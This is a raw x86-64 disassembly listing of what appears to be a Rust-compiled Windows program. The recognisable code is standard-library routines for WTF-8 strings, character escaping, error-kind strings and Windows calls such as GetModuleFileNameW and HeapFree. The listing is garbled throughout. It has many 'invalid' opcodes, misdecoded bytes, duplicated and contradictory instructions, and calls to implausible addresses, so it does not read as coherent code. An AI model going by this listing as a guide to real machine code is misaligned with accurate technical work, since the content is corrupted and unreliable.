movabs al, byte [0x3a845c748]
mov qword [rbp - 0x40], 0
lea rax, [rbp - 0x30]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 2
add byte [rax], al
add byte [rax - 0x75], cl
and byte [r8 - 0x75], r9b
push rdi
sub byte [rbp + rcx*4 + 0x45], cl
movabs al, byte [0x7d8348fff397aae8]
lock add byte [rdi], cl
invalid
mov al, byte [rax]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
and byte [r8 - 0x75], r9b
push rdi
sub byte [rbp + rcx*4 + 0x45], cl
movabs al, byte [0x7d8348fff397aae8]
lock add byte [rdi], cl
test byte [rdx + 0x4c000000], cl
add byte [rax], al
add byte [rbx + rcx*4 + 0x45], cl
clc
mov r8, qword [rbp - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov ebx, eax
call qword [sym.imp.kernel32.dll_HeapFree]
add eax, dword [rax]
mov eax, ebx
jmp 0x1400da27b
sar rax, 0x20
lea rcx, [0x14014bda0]
mov rcx, qword [rcx + rax*8]
lea r8, str.entity_not_foundpermission_deniedconnection_refusedconnection_resethost_unreachablenetwork_unreachableconnection_abortednot_connectedaddress_in_useaddress_not_availablenetwork_downbroken_pipeentity_already_existsoperation_would_blocknot_a_directoryis_a_directorydirectory_not_emptyread_only_filesystem_or_storage_mediumfilesystem_loop_or_indirection_limit__e.g._symlink_loop_stale_network_file_handleinvalid_input_parameterinvalid_datatimed_outwrite_zerono_storage_spaceseek_on_unseekable_filefilesystem_quota_exceededfile_too_largeresource_busyexecutable_file_busydeadlockcross_device_link_or_renametoo_many_linksinvalid_filenameargument_list_too_longoperation_interruptedunsupportedunexpected_end_of_fileout_of_memoryother_erroruncategorized_errorOs
mov rax, qword [r8 + rax*8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rcx
lea rax, [rbp - 0x30]
mov qword [rbp - 0x10], rax
lea rax, [0x140013930]
mov qword [rbp - 8], rax
lea rax, [0x140173648]
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], 1
add byte [rax], al
add byte [rax], al
mov qword [rbp - 0x40], 0
lea rax, [rbp - 0x10]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 1
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
push rdx
sub byte [rbp + rcx*4 + 0x45], cl
invalid
call fcn.140013990
nop
add rsp, 0x98
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov rcx, qword [rax - 1]
mov rax, qword [rax + 7]
mov rax, qword [rax + 0x20]
add rsp, 0x98
pop rbx
pop rdi
pop rsi
pop rbp
jmp rax
cmp rcx, rdi
je 0x1400da4e0
lea r8, [r15 + rcx]
add al, 0xf
mov r12, rcx
mov rdx, r8
jmp 0x1400da39f
add rdx, 2
cmp rax, r13
cmovne rax, rdx
mov r9d, 2
nop word cs:[rax + rax]
add r12, r9
mov rdx, rax
cmp rax, r13
je case.0x1400d745f.71
lea rax, [rdx + 1]
movzx r10d, byte [rdx]
mov r9d, 1
test r10b, r10b
jns 0x1400da390
sar byte [rcx - 0x22], cl
cmp r10b, 0xe0
jb 0x1400da371
cmp r10b, 0xed
jne 0x1400da3f1
cmp rax, r13
je case.0x1400d745f.71
lea r9, [rdx + 2]
cmp r9, r13
je case.0x1400d745f.71
movzx eax, byte [rdx + 1]
movzx eax, ax
cmp eax, 0x9f
ja 0x1400da42d
add rdx, 3
mov r9d, 3
add byte [rax], al
mov rax, rdx
jmp 0x1400da390
add rdx, 2
cmp rax, r13
cmove rdx, rax
xor eax, eax
cmp rdx, r13
setne al
add rax, rdx
mov r9d, 3
cmp r10b, 0xf0
jb 0x1400da390
xor edx, edx
cmp rax, r13
cmp eax, ebp
setne dl
add rax, rdx
mov r9d, 4
jmp 0x1400da390
movzx edx, byte [r9]
and eax, 0x1f
shl eax, 6
and edx, 0x3f
add eax, edx
add eax, 0xd800
mov word [rbp + 6], ax
mov r9, r12
sub r9, rcx
jb case.0x1400733b1.1086
cmp r12, rdi
ja 0x1400da529
mov rcx, rsi
mov rdx, r14
call fcn.1400da550
test al, al
jne 0x1400da516
invalid
add byte [rax], al
invalid
test eax, 0x48000000
lea eax, [rbp + 6]
lea rax, [rbp + 6]
mov qword [rbp - 0x18], rax
lea rax, [0x140014240]
mov qword [rbp - 0x10], rax
mov dword [rbp - 0x10], eax
lea rax, str.u
add al, 7
add byte [rax - 0x77], cl
mov r8d, 0xc045c748
add al, byte [rax]
add byte [rax], al
add al, 7
add byte [rax - 0x77], cl
mov r8d, 0xc045c748
add al, byte [rax]
add byte [rax], al
mov qword [rbp - 0x28], 0
lea rax, [rbp - 0x18]
add byte [rax], al
add byte [rax - 0x73], cl
call 0x108532deb
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], 1
mov rcx, rsi
mov ecx, esi
mov rdx, r14
lea r8, [rbp - 0x48]
mov r8d, 0xf394d6e8
invalid
test al, al
jne 0x1400da516
mov r8d, 0xf394d6e8
inc dword [rax + rax*8 - 0x7cb6a78b]
invalid
add r12, 3
mov rcx, r12
cmp r12, rdi
cld
cld
jbe 0x1400da35c
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rcx, r12
add al, 7
add byte [rcx + rcx*4 - 0x1f], cl
mov rdx, rdi
call fcn.1401085a0
mov rcx, rdi
sub rdi, rcx
add r15, rcx
mov rcx, rsi
mov rdx, r14
mov r8, r15
mov r9, rdi
call fcn.1400da550
test al, al
mov rax, qword [rbp - 8]
clc
clc
jne 0x1400da516
lea rdx, [0x14014c9b4]
mov r8d, 1
mov rcx, rsi
call rax
mov ebx, eax
mov eax, ebx
add rsp, 0x78
js case.0x1400d7391.88
pop rdi
pop rsi
pop r12
pop r13
pop rbp
fmul dword [rax - 0x7d]
invalid
js case.0x1400d7391.88
pop rbp
pop r14
pop r15
pop rbp
ret
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rcx, r12
add byte [rcx + rcx*4 - 0x1f], cl
mov rdx, rdi
call fcn.140108620
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rdx, r12
call fcn.140108810
invalid
loop 0x1400da54b
add ah, cl
invalid
push rsi
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x88
lea rbp, [rsp + 0x80]
add byte [rax], al
invalid
mov rdi, r8
mov qword [rbp - 0x58], rdx
push rbp
test al, 0x48
mov dword [rbp - 0x50], ecx
push rbp
test al, 0x48
mov dword [rbp - 0x50], ecx
add r9, r8
mov qword [rbp - 0x48], r8
ror dword [rcx + rcx*4 + 0x45], 0xb8
mov qword [rbp - 0x40], r9
mov byte [rbp - 0x38], 0x81
add esi, 0x4181d445
add dword [rcx - 0x4a], 0xba4981
add bh, bh
invalid
invalid
inc dword [rax]
add byte [rax], al
add dword [rcx - 0x4a], 0xba4981
add bh, bh
invalid
add byte [rax], al
lea r11, [0x140179644]
sbb eax, 0x9f0a7
mov qword [rbp - 0x10], rax
mov qword [rbp - 0x20], r9
invalid
loopne 0x1400da52f
mov edx, ecx
mov eax, r12d
mov eax, esp
retf 0x8944
mov eax, esp
cmp r14b, 0x81
je 0x1400da5c3
cmp r14b, 0x80
je 0x1400da8bd
add eax, dword [rax]
add byte [rax + rdi - 8], al
add byte [rax], al
cmp al, r15b
jb case.0x140095d16.959
add eax, dword [rax]
add byte [rax - 0x7b], cl
test edi, edi
je case.0x1400b958a.784
test rdi, rdi
test edi, edi
je case.0x1400b958a.784
add byte [rcx + rdi - 0x31], cl
cmp rdi, r9
je case.0x1400b958a.784
test byte [rsi + 3], ah
add byte [rax], al
invalid
add eax, dword [rax]
add byte [rdi], cl
mov dh, 0x17
movzx edx, byte [rdi]
movzx r15d, dl
cli
test r15b, r15b
js 0x1400da620
invalid
invalid
cld
mov al, 2
cmp r15d, 0x27
invalid
ja 0x1400da775
invalid
add dword [rax], eax
invalid
invalid
invalid
add dword [rax], eax
add byte [rcx - 0x4a], al
pop rsp
mov r14b, 0x5c
movsxd rcx, dword [r11 + r12*4]
add rcx, r11
fcos
invalid
fcos
loope 0x1400da641
in eax, dx
cmp r14b, 0x81
jne 0x1400da718
add byte [rbp - 0x77], al
mov byte [rcx + rcx*4 - 8], 0x83
loopne 0x1400da648
loopne case.0x1400d8bf4.38
shl ecx, 6
and r15d, 0x3f
or r15d, ecx
or r15d, eax
cmp r15d, 0x110000
cmp edi, 0x110000
cmp edi, 0x110000
adc dword [rax], eax
je case.0x1400b958a.784
mov r8d, r14d
add rdi, 4
add edi, 4
add edi, 4
mov r12d, r15d
mov al, 2
cmp r15d, 0x27
cmp edi, 0x27
jbe 0x1400da5f3
invalid
invalid
invalid
jmp 0x1400da775
add rdi, 2
shl eax, 6
or eax, r8d
or eax, eax
or eax, eax
mov r15d, eax
jmp 0x1400da763
add byte [rax], al
add byte [rax], al
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop dword [rax + rax]
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
mov r8b, 0x6e
jmp 0x1400da700
invalid
mov r8b, 0x27
mov al, 0x27
jmp 0x1400da700
add byte [rax], al
add byte [rcx - 0x50], al
mov r8b, 0x72
invalid
mov r8b, 0x72
jmp 0x1400da700
add byte [rax], al
add byte [rax], al
mov r8b, 0x74
jmp 0x1400da700
add byte [rax], al
add byte [rcx - 0x50], al
mov r8b, 0x22
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
mov r8b, 0x22
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
nop dword cs:[rax + rax]
xor ecx, ecx
mov qword [rbp - 0x10], rcx
xor r12d, r12d
xor ebx, ebx
xor r13d, r13d
cmp r14b, 0x81
je case.0x1400b958a.784
movzx ecx, word [rbp - 0x10]
shl rcx, 0x30
xor byte [rbp + 0x21], cl
invalid
or r12, rcx
movzx edx, bx
or rdx, r12
or edx, esp
xor byte [rbp + 0x21], cl
invalid
or edx, esp
mov esi, eax
mov byte [rbp - 0x37], r8b
mov qword [rbp - 0x36], rdx
mov dword [rbp - 0x36], edx
mov byte [rbp - 0x2e], r13b
mov byte [rbp - 0x2d], sil
shr rdx, 0x10
mov r15d, esi
mov eax, r13d
cmp r14b, 0x81
jne case.0x1400d7dc5.74
jmp 0x1400da5c3
jbe 0x1400da5f3
cmp r15d, 0x5c
cmp edi, 0x5c
jne 0x1400da790
adc eax, 0x315cb041
leave
mov r8b, 0x5c
xor ecx, ecx
mov qword [rbp - 0x10], rcx
mov r14b, 0x5c
jmp 0x1400da706
jp 0x1400da789
invalid
invalid
invalid
mov dword [rbp - 0x14], r8d
mov dword [rbp - 0x14], eax
in al, dx
cmp r15d, 0x7f
jbe 0x1400da7a6
mov ecx, r15d
call fcn.140017cd0
invalid
invalid
invalid
invalid
test al, al
jne 0x1400da7e8
invalid
mov ecx, r15d
stc
call fcn.140017b90
test al, al
invalid
je 0x1400da7e8
invalid
inc dword [rax + rax*8 - 0x48f0c98c]
sal byte [rsi + rsi + 0xf], 0xb7
movzx eax, word ss:[rbp - 0x10]
movzx eax, word [rbp - 0x10]
invalid
shl rax, 0x30
shl r12, 0x10
adc byte [rcx + 9], cl
invalid
movzx edx, bx
ror dword [rcx + rcx - 0x1e], cl
ror dword [rcx + rcx - 0x1e], cl
mov r14b, 0x80
mov dh, 0x80
mov r9, qword [rbp - 0x20]
movabs r10, 0xffffffff0000
mov edx, 0xffff0000
invalid
inc dword [rax]
add byte [rbp + rcx*4 + 0x1d], cl
out dx, al
or dword [rax], eax
mov r8d, dword [rbp - 0x14]
in al, dx
in al, dx
jmp 0x1400da72e
mov byte [rbp], 0
mov word [rbp - 2], 0
mov byte [rbp + 7], 0x7d
invalid
invalid
jge 0x1400da83b
mov eax, edi
shr eax, 0x14
lea rcx, str.0123456789abcdefBorrowErrorBorrowMutErroralready_borrowed:
lea ecx, str.0123456789abcdefBorrowErrorBorrowMutErroralready_borrowed:
lea ecx, str.0123456789abcdefBorrowErrorBorrowMutErroralready_borrowed:
movzx eax, byte [rax + rcx]
mov byte [rbp + 1], al
mov eax, r15d
shr eax, 0x10
adc byte [rbx - 0x49f0f020], al
add al, 8
adc byte [rbx - 0x49f0f020], al
add al, 8
mov byte [rbp + 2], al
mov eax, r15d
shr eax, 0xc
call 0x14fee2b2f
call 0x14fee2b2f
movzx eax, byte [rax + rcx]
mov byte [rbp + 3], al
mov eax, r15d
mov eax, edi
shr eax, 8
and eax, 0xf
invalid
invalid
movzx eax, byte [rax + rcx]
mov byte [rbp + 4], al
add al, 0x44
mov eax, edi
add al, 0x44
mov eax, edi
shr eax, 4
and eax, 0xf
call 0x14fee2b47
movzx eax, byte [rax + rcx]
mov byte [rbp + 5], al
mov eax, r15d
mov eax, edi
mov eax, edi
and eax, 0xf
movzx eax, byte [rax + rcx]
mov byte [rbp + 6], al
invalid
or r15d, 1
iretd
add dword [rcx + 0xf], eax
mov ebp, 0x1cf083c7
sbb al, 0xc1
call 0x1a89af46a
add cl, byte [rbp + rcx*4 + 0x68]
inc dh
add eax, 0xc7667bfe
add eax, 0x44755cfc
movzx r14d, word [rbp - 2]
mov bh, 0x75
invalid
invalid
iretd
sbb al, 0xc1
call 0x1a89af46a
add cl, byte [rbp + rcx*4 + 0x68]
add cl, byte [rbp + rcx*4 + 0x68]
inc dh
add eax, 0xc7667bfe
add eax, 0x44755cfc
movzx r14d, word [rbp - 2]
mov bh, 0x75
invalid
mov bh, 0x75
inc byte [rbp - 0x77]
mov eax, esi
mov r8d, r14d
mov eax, esi
shr r8d, 8
mov rbx, qword [rbp]
add byte [rcx - 0x77], cl
fmul qword [rcx - 0x7f]
in al, 0
add bh, bh
dec dword [rax - 0x77]
fmul dword [rax - 0x3f]
call 0x18596f0c9
invalid
invalid
mov al, 0xa
mov r9, qword [rbp - 0x20]
loopne 0x1400da8ea
mov edx, 0xffff0000
invalid
inc dword [rax]
add byte [rbp + rcx*4 + 0x1d], cl
sbb eax, 0x9ed93
or byte [rax - 0x75], cl
pop rbp
add byte [rcx - 0x77], cl
fmul qword [rcx - 0x7f]
in al, 0
add bh, bh
dec dword [rax - 0x77]
fmul dword [rax - 0x3f]
call 0x18596f0c9
invalid
invalid
sbb eax, 0x9ed93
cmp r14b, 0x81
jne 0x1400da718
invalid
jmp case.0x1400b958a.784
in al, dx
lea rax, [rbp - 0x38]
mov dword [rax + 8], 0
mov qword [rax], 0
add byte [rax], al
add byte [rax], al
add bh, al
call 0x1400da8da
call 0x1400da8da
or byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
add byte [rax], al
add byte [rax], al
add bh, al
call 0x1400da8da
call 0x1400da8da
call 0x1400da8da
xor r15d, r15d
xor edi, edi
xor r12d, r12d
xor r14d, r14d
imul bl
invalid
imul bl
and eax, dword [rax + rcx*4 + 0x75]
mov byte [rbp - 0x38], r14b
lea r12d, [rax + 1]
mov byte [rbp - 0x2e], r12b
movzx ecx, al
mov byte [rbp - 0x38], r14b
lea r12d, [rax + 1]
mov byte [rbp - 0x2e], r12b
movzx ecx, al
invalid
cmp al, 0xa
jae 0x1400da951
mov dword [rbp - 0x14], r8d
in al, dx
mov eax, edx
mov dword [rbp - 0x18], edx
call 0x14d525f14
invalid
mov edx, eax
call 0x14d525f14
or eax, 0x48c289c8
enter 0xffffffffffffc289, 0x48
mov rcx, qword [rbp - 0x50]
mov ecx, dword [rbp - 0x50]
mov rax, qword [rbp - 0x58]
call qword [rax + 0x20]
test al, al
ror byte [rbx + rcx*4 + 0x4d], 0xe0
loopne case.0x1400b4e39.820
mov edx, 0xffff0000
invalid
inc dword [rax]
add byte [rbp + rcx*4 + 0x1d], cl
sbb eax, 0x9ed1a
inc dword [rax]
add byte [rbp + rcx*4 + 0x1d], cl
sbb eax, 0x9ed1a
sbb eax, 0x9ed1a
mov r8d, dword [rbp - 0x14]
in al, dx
mov ecx, dword [rbp - 0x18]
je case.0x1400733b1.1094
cld
invalid
invalid
call 0x13c7c2d44
cld
invalid
mov al, 1
jmp 0x1400da93d
xor eax, eax
add rsp, 0x88
invalid
mov byte [rax], al
add byte [rax], al
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
pop rbp
ret
lea r8, str._rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrarycore_srcescape.rs
mov edx, 0xa
add byte [rax], al
add byte [rax], al
call fcn.1401085b0
int3
int3
int3
int3
mov eax, dword [rcx]
mov r10, qword [rcx + 8]
mov r8, qword [rdx + 0x20]
mov eax, dword [rdx + 0x20]
mov eax, dword [rdx + 0x20]
mov r9, qword [rdx + 0x28]
mov rcx, rax
mov rdx, r10
pop rbp
jmp fcn.1400da310
push r14
push r13
push r12
push rsp
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x498
lea rbp, [rsp + 0x80]
lea ebp, [rsp + 0x80]
lea ebp, [rsp + 0x80]
mov qword [rbp + 0x410], 0xfffffffffffffffe
mov dword [rbp + 0x410], 0xfffffffe
invalid
mov qword [rbp + 0x3f0], rcx
mov qword [rbp + 0x3f8], 0
mov dword [rbp + 0x3f8], 0
mov dword [rbp + 0x3f8], 0
mov qword [rbp + 0x400], 2
add byte [rax], al
add al, byte [rax]
add byte [rax], al
invalid
mov qword [rbp + 0x408], 0
mov r8d, 0x200
mov eax, 0x200
add al, 0
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x48], al
add byte [rdx], al
mov eax, 0x200
add byte [rax], al
mov eax, 2
mov qword [rbp + 0x3e8], rax
xor esi, esi
xor edi, edi
push qword [rcx]
fisttp dword [rcx - 0x7f]
cmp eax, 0x201
add al, byte [rax]
invalid
push qword [rcx]
fisttp dword [rcx - 0x7f]
cmp eax, 0x201
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rbx + 0x31], dh
jae 0x1400daa30
jae 0x1400daa30
jmp case.0x1400b36b6.844
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
add byte [rax], al
add byte [rax], al
jae 0x1400daaf1
cmp r8, 0x201
jae 0x1400daa30
mov r14d, 0x200
lea r15, [rbp - 0x60]
lea edi, [rbp - 0x60]
mov r12, r8
jmp 0x1400daa87
add byte [rbp + rcx*4 + 0x7d], cl
movabs al, byte [0x49906659ebc4894d]
nop
sub r8, rbx
nop
sub r8, rbx
sub rdi, rbx
cmp rdi, r8
jae 0x1400daa5f
lea rcx, [rbp + 0x3f8]
mov rdx, rbx
call fcn.140110490
pop rdx
add eax, dword [rax]
add byte [rax - 0x77], cl
invalid
pop rdx
add eax, dword [rax]
mov rsi, qword [rbp + 0x3f8]
mov rax, qword [rbp + 0x400]
test dword [rax], eax
add al, 0
add byte [rax - 0x77], cl
test eax, ebp
add eax, dword [rax]
invalid
mov ch, 0xf8
add eax, dword [rax]
add byte [rax - 0x75], cl
test dword [rax], eax
add al, 0
add byte [rax - 0x77], cl
test eax, ebp
add eax, dword [rax]
add byte [rax - 1], bh
mov eax, 0xffffffff
cmp rsi, rax
mov ebx, 0xffffffff
cmovb rbx, rsi
fimul word [rax - 0x77]
popfq
or byte [rax + rax], al
add al, 0
invalid
fimul word [rax - 0x77]
popfq
or byte [rax + rax], al
add al, 0
add al, 0
add byte [rax - 0x77], cl
test dword [rcx - 0x77], 0xbd8b4cde
call 0x1890daa88
add byte [rax], al
mov r12, rbx
mov rdi, rsi
mov r14, rbx
mov r15, qword [rbp + 0x3e8]
add byte [rax], al
add byte [rax], al
mov r12, rbx
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetLastError]
xor ecx, ecx
mov rdx, r15
mov r8d, r12d
call qword [sym.imp.kernel32.dll_GetModuleFileNameW]
mov r13d, eax
test eax, eax
jne case.0x1400c3e59.783
call qword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
ror byte [rdi], 0x85
mov dh, 0
add byte [rax], al
mov r8d, r13d
cmp r12, r8
jne 0x1400daa10
test dword [rdx - 1], edx
invalid
invalid
test dword [rdx - 1], edx
invalid
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
jp 0x1400daad7
test ebp, ecx
int 0
add byte [rax], al
invalid
int 0
add byte [rax], al
invalid
add byte [rbp + 1], cl
in al, 0xb8
add r12, r12
mov eax, 0xffffffff
invalid
invalid
dec dword [rcx + 0x39]
invalid
cmovae r12, rax
mov r8, r12
cmp r8, 0x201
jb case.0x1400b36b6.844
jmp 0x1400daa30
cmp r14, r8
jb 0x1400dabb4
invalid
invalid
add byte [rax], al
invalid
invalid
lea rcx, [rbp + 0x3c8]
mov rdx, r15
call fcn.1400d7a00
movups xmm0, xmmword [rbp + 0x3c8]
adc byte [rbp + 0x3c8], al
movups xmm1, xmmword [rbp + 0x3d8]
invalid
add byte [rax], al
movaps xmmword [rbp + 0x3b0], xmm1
add byte [rax], al
movaps xmmword [rbp + 0x3a0], xmm0
mov rax, qword [rbp + 0x3f0]
mov eax, dword [rbp + 0x3f0]
movups xmmword [rax + 0x10], xmm1
adc dword [rax + 0x10], ecx
movups xmmword [rax], xmm0
cmp qword [rbp + 0x3f8], 0
je 0x1400dab53
mov r8, qword [rbp + 0x400]
mov rcx, qword [0x140182260]
invalid
ja 0x1400dab54
invalid
add al, 0
add byte [rax - 0x75], cl
mov rcx, qword [0x140182260]
invalid
ja 0x1400dab54
invalid
mov ecx, dword [0x140182260]
adc eax, 0x31000a77
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
sar bh, cl
adc eax, 0x3880d
nop
add rsp, 0x498
add al, 0
add byte [rbx + 0x5f], bl
add al, 0
add byte [rbx + 0x5f], bl
pop rsi
pop r12
pop rsp
pop r13
pop r14
pop r15
pop rbp
ret
call qword [sym.imp.kernel32.dll_GetLastError]
adc eax, 0x388ba
shl rax, 0x20
or rax, 2
or eax, 2
mov rcx, qword [rbp + 0x3f0]
mov qword [rcx + 8], rax
movabs rax, 0x8000000000000000
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
or byte [rax - 0x77], 1
mov dword [rcx], eax
and byte [rax - 0x7d], cl
enter 0x4802, 0xffffffffffffff8b
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
or byte [rax - 0x77], 1
mov dword [rcx], eax
add byte [rax + 0x48018948], al
cmp dword [rbp + 0x3f8], 0
mov dword [rcx], eax
cmp qword [rbp + 0x3f8], 0
jne 0x1400dab3d
jmp 0x1400dab53
lea rcx, str.internal_error:_entered_unreachable_code_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_std_src_threadmod.rs
lea r8, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov edx, 0x28
call fcn.140108630
jmp 0x1400dabc9
invalid
invalid
adc eax, 0xb5058d48
or al, 7
add byte [rcx + rcx*4 - 0x3f], cl
mov rcx, r8
lea rax, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov rcx, r8
mov rdx, r14
mov r8, rax
call fcn.140108620
ud2
or ecx, dword [rdi]
invalid
add byte [rax], r8b
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
cmp qword [rbp + 0x3f8], 0
je 0x1400dac0c
mov r8, qword [rbp + 0x400]
mov rcx, qword [0x140182260]
or eax, 0xa765c
invalid
add byte [rax + rax], al
add byte [rax - 0x75], cl
or eax, 0xa765c
invalid
add byte [rcx], dh
sar bh, cl
adc eax, 0x38754
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
sub byte [rbx + 0x5f], bl
sub byte [rbx + 0x5f], bl
pop rsi
pop r12
pop r13
pop rbp
pop r14
pop r15
pop rbp
ret
int3
in al, dx
sub byte [rax - 0x73], cl
insb byte [rdi], dx
and al, 0x20
mov rdi, r8
mov rsi, rcx
mov rcx, qword [rcx + 8]
mov ecx, dword [rcx + 8]
mov ecx, dword [rcx + 8]
or byte [r8 - 0x75], cl
pop rsi
adc byte [rbp + 0x31], al
xor esi, esi
mov eax, 0
mov rbx, qword [rsi + 0x10]
xor r14d, r14d
xor esi, esi
xor esi, esi
mov eax, 0
cmp rbx, 3
jb 0x1400dac8c
invalid
cmp eax, dword [rdi + rcx - 0x4a]
or r15d, esi
movzx r8d, byte [rbx + rcx - 2]
mov r9d, r8d
and r9b, 0xf0
xor r14d, r14d
cmp r9b, 0xa0
jne 0x1400dac8c
rol dword [rcx - 0x80], 0xe1
invalid
xor r14d, r14d
cmp byte [rbx + rcx - 3], 0xed
jl 0x1400dac78
std
in eax, dx
jl 0x1400dac78
std
in eax, dx
jne 0x1400dac8c
movzx r14d, byte [rbx + rcx - 1]
and r8d, 0xf
and eax, 0xf
and r14d, 0x3f
shl r8d, 0x10
shl r14d, 0xa
out 0xa, al
out 0xa, al
or r14d, r8d
or esi, eax
invalid
mov al, 1
cmp rdi, 3
cmp edi, 3
jb 0x1400dad5d
cmp byte [rdx], 0xed
in eax, dx
jne 0x1400dad66
movzx r15d, byte [rdx + 1]
mov r8d, r15d
mov dh, 0x7a
add dword [rbp - 0x77], eax
clc
and r8b, 0xf0
cmp r8b, 0xb0
jne 0x1400dad66
loopne case.0x1400792d3.1128
test al, al
je 0x1400dad66
add byte [rax], al
invalid
movzx r12d, byte [rdx + 2]
and r15d, 0xf
cmp rbx, 3
jb 0x1400dacd4
add rbx, 0xfffffffffffffffd
mov qword [rsi + 0x10], rbx
and r12d, 0x3f
shl r15d, 6
lea r8, [rdi + 1]
mov rax, qword [rsi]
invalid
mov rcx, rax
sub rcx, rbx
cmp rcx, r8
jb 0x1400dae3c
invalid
add rdi, 0xfffffffffffffffd
or r15d, r14d
or r12d, r15d
lea r14d, [r12 + 0x10000]
lea esi, [rsp + 0x10000]
lea esi, [rsp + 0x10000]
mov r13d, r14d
shr r13d, 0x12
cmp rcx, 3
jbe 0x1400dae5f
add qword [rax], rax
invalid
add qword [rax], rax
add byte [rax - 0x7d], cl
ret 0x4803
add rdx, 3
mov rcx, qword [rsi + 8]
and r12d, 0x3f
shl r12d, 0x18
shl r15d, 0xa
or al, byte [rcx - 0x7f]
out 0, eax
add byte [rax], al
invalid
add byte [rbp + 9], al
out 0x41, eax
shr esi, 4
or al, byte [rcx - 0x7f]
out 0, eax
add byte [rax], al
invalid
add byte [rbp + 9], al
out 0x41, eax
shr esi, 4
and r14d, 0x3f00
and esi, 0x3f00
or r14d, r15d
lea r8d, [r14 + r13]
add r8d, 0x808080f0
sal al, 0x80
add byte [rax + 0x19048944], 0x48
add ebx, 4
mov qword [rsi + 0x10], rbx
jmp 0x1400dadf3
add byte [rax], al
invalid
pop rsi
adc cl, ch
xchg esi, eax
add byte [rax], al
invalid
add byte [rax - 0x7b], cl
dec dword [rdi]
test byte [rdx + 0x48000000], cl
add byte [rax], al
lea rax, [rdx + rdi]
test rdi, rdi
je 0x1400dadf0
add byte [rax], al
lea rax, [rdx + rdi]
add al, 0x3a
mov r9, rdx
jmp 0x1400dad88
add r9, 2
cmp r8, rax
invalid
rol dword [rdx], 0x49
cmp eax, eax
invalid
cmovne r8, r9
nop word [rax + rax]
nop dword [rax + rax]
nop dword [rax + rax]
mov r9, r8
cmp r8, rax
je 0x1400dadf0
sal byte [rax + rbp*2 + 0x4d], 0x8d
add dword [r13 + 0xf], eax
mov dh, 0x11
invalid
lea r8, [r9 + 1]
movzx r10d, byte [r9]
invalid
adc dword [rbp - 0x7c], eax
sar byte [rcx - 0x15], cl
test r10b, r10b
jns 0x1400dad80
cmp r10b, 0xe0
cmp dl, 0xe0
jb case.0x1400b4e39.859
cmp dl, 0xed
cli
in eax, dx
jne case.0x1400792d3.1110
cmp r8, rax
je 0x1400dadf0
lea r8, [r9 + 2]
cmp r8, rax
cmp eax, eax
je 0x1400dadf0
cmp byte [r9 + 1], 0x9f
ja 0x1400dadec
invalid
add r9, 3
add r9, 3
rol dword [rbx], 0x4d
mov eax, ecx
mov r8, r9
jmp 0x1400dad80
add r9, 2
cmp r8, rax
cmove r9, r8
enter 0x3145, 0xffffffffffffffc0
enter 0x3145, 0xffffffffffffffc0
enter 0x3145, 0xffffffffffffffc0
cmp r9, rax
setne r8b
add r8, r9
cmp r10b, 0xf0
jb 0x1400dad80
invalid
movabs dword [0xf41c03949c93145], eax
xchg ebp, eax
ror dword [rbp + 1], 0xc8
xor r9d, r9d
cmp r8, rax
cmp eax, eax
setne r9b
setne cl
add r8, r9
jmp 0x1400dad80
mov byte [rsi + 0x18], 0
mov rax, qword [rsi]
sub rax, rbx
cmp rax, rdi
cmp eax, edi
cmp eax, edi
jb 0x1400dae1e
add rcx, rbx
mov r8, rdi
call fcn.140106530
add rbx, rdi
sti
mov qword [rsi + 0x10], rbx
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rbp
ret
mov rcx, rsi
mov r14, rdx
mov rdx, rbx
mov r8, rdi
call fcn.1401103f0
rcl dword [rbp + 3], 0
mov rdx, r14
mov rcx, qword [rsi + 8]
mov rbx, qword [rsi + 0x10]
mov ebx, dword [rsi + 0x10]
jmp 0x1400dadfb
mov rcx, rsi
mov r13, rdx
mov rdx, rbx
call fcn.1401103f0
cmpsb byte [rsi], byte [rdi]
push rbp
add eax, dword [rax]
mov rdx, r13
mov rax, qword [rsi]
mov rbx, qword [rsi + 0x10]
mov rcx, rax
mov ecx, eax
sub rcx, rbx
jmp 0x1400dacf2
xchg ebx, eax
invalid
invalid
invalid
xchg ebx, eax
invalid
invalid
mov r8d, 4
mov rcx, rsi
mov ecx, esi
mov ecx, esi
mov qword [rbp], rdx
mov rdx, rbx
call fcn.1401103f0
mov rdx, qword [rbp]
add byte [rax - 0x75], cl
invalid
